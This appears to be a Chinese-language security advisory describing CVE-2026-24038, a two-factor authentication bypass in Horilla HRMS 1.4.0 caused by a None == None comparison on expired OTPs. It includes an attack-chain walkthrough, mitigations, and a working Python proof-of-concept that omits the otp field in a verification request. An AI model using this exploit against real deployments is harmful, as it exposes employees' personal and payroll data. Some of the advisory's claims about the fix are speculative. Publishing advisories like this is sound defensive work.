IPBUF安全漏洞报告
English
CVE-2026-24038 CVSS 8.1 高危

CVE-2026-24038 Horilla HRMS OTP双因素认证绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24038
漏洞类型
身份认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Horilla HRMS (Human Resource Management System)

相关标签

身份认证绕过双因素认证绕过OTP漏洞Horilla HRMSCVE-2026-24038高危漏洞人力资源管理系统

漏洞概述

CVE-2026-24038是Horilla HRMS 1.4.0版本中存在的一个高危安全漏洞,攻击者可利用OTP(一次性密码)处理逻辑中的缺陷完全绕过双因素认证机制。Horilla是一款免费开源的人力资源管理系统,广泛应用于企业环境中管理员工信息、考勤、薪资等敏感数据。该漏洞的核心问题在于OTP验证逻辑中存在不当的相等性检查:当用户请求的OTP过期时,服务器返回None值,而攻击者可以通过故意在POST请求中省略otp字段,使客户端提供的OTP值也为None,从而导致user_otp == otp的比较判定为真(None == None),系统错误地认为认证成功。这一漏洞的利用门槛极低,攻击者只需构造特定的HTTP请求即可,无需获取任何有效的OTP凭证。如果企业管理员账户被成功攻击,攻击者可以获取所有员工的敏感个人信息、薪资数据、考勤记录等机密数据,甚至可以篡改员工档案、修改薪资信息,造成严重的经济损失和声誉损害。此外,攻击者还可能以被入侵的管理员账户为跳板,进一步横向移动攻击整个系统。

技术细节

漏洞存在于Horilla HRMS的OTP验证处理逻辑中,具体代码位置在双因素认证的验证流程中。当用户启用双因素认证后,系统会生成一个一次性密码并将其存储在服务器端,同时设置过期时间。正常验证流程中,服务器会比较用户提交的OTP与存储的OTP是否匹配。

问题出在以下代码逻辑:
1. 当OTP过期时,服务器端的otp变量被设置为None
2. 攻击者构造POST请求时,故意不包含otp参数
3. 此时用户提交的user_otp变量也为None
4. Python的相等性比较 None == None 返回True
5. 系统错误地认为OTP验证通过,允许登录

攻击者利用的关键是Python中None与None的相等性比较特性。在正常的代码逻辑中,应该使用严格的is None检查或者要求otp参数必须存在且非空。此外,代码缺少对otp参数存在性的验证逻辑,导致攻击者可以省略该参数。修复版本1.5.0中应该添加了对otp参数存在性的检查,并使用is None进行严格比较。

攻击链分析

STEP 1
步骤1
攻击者访问Horilla HRMS登录页面,输入目标用户名和密码进行初始登录
STEP 2
步骤2
系统生成OTP并发送至用户注册邮箱或手机,等待OTP过期或等待其失效
STEP 3
步骤3
攻击者构造特殊的OTP验证POST请求,故意省略otp字段,使user_otp值为None
STEP 4
步骤4
服务器端OTP已过期,otp变量为None,执行user_otp == otp比较(None == None),结果为True
STEP 5
步骤5
系统误认为OTP验证通过,攻击者成功绕过双因素认证,获得完整系统访问权限
STEP 6
步骤6
攻击者访问敏感HR数据、员工信息、薪资记录,或进行进一步的横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24038 PoC - OTP Bypass in Horilla HRMS 1.4.0 # This PoC demonstrates bypassing 2FA by omitting the OTP field TARGET_URL = "https://target-website.com" LOGIN_ENDPOINT = f"{TARGET_URL}/otp/verify/" USERNAME = "admin" def exploit_otp_bypass(): """ Exploit the OTP bypass vulnerability by omitting the otp field. When OTP expires, server returns None, and if attacker also omits the otp field, user_otp == otp evaluates to True (None == None). """ # Step 1: Normal login to trigger OTP generation login_data = { "username": USERNAME, "password": "password123" } session = requests.Session() response = session.post(f"{TARGET_URL}/auth/login/", data=login_data) # Step 2: Wait for OTP to expire (or exploit immediately) # The vulnerability works when OTP expires and server returns None # Step 3: Send OTP verification request WITHOUT the otp field # This causes user_otp to be None, matching the expired server OTP exploit_data = { "username": USERNAME # Note: otp field is intentionally omitted } response = session.post(LOGIN_ENDPOINT, data=exploit_data) # Step 4: Check if authentication was successful if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] OTP Bypass Successful! Authenticated without valid OTP") return True else: print("[-] OTP Bypass Failed") return False if __name__ == "__main__": print("CVE-2026-24038 - Horilla HRMS OTP Bypass PoC") print("Target: Horilla HRMS <= 1.4.0") exploit_otp_bypass()

影响范围

Horilla HRMS < 1.4.0
Horilla HRMS = 1.4.0

防御指南

临时缓解措施
如果无法立即升级到修复版本1.5.0,可以采取以下临时缓解措施:1) 暂时禁用双因素认证功能,改用其他强认证机制;2) 限制管理后台的访问IP范围,仅允许受信任的IP地址访问;3) 增强登录日志监控,及时发现异常的认证行为;4) 定期审计管理员账户活动,检查是否存在未授权访问痕迹;5) 考虑部署Web应用防火墙(WAF)规则,检测并拦截缺少otp字段的可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表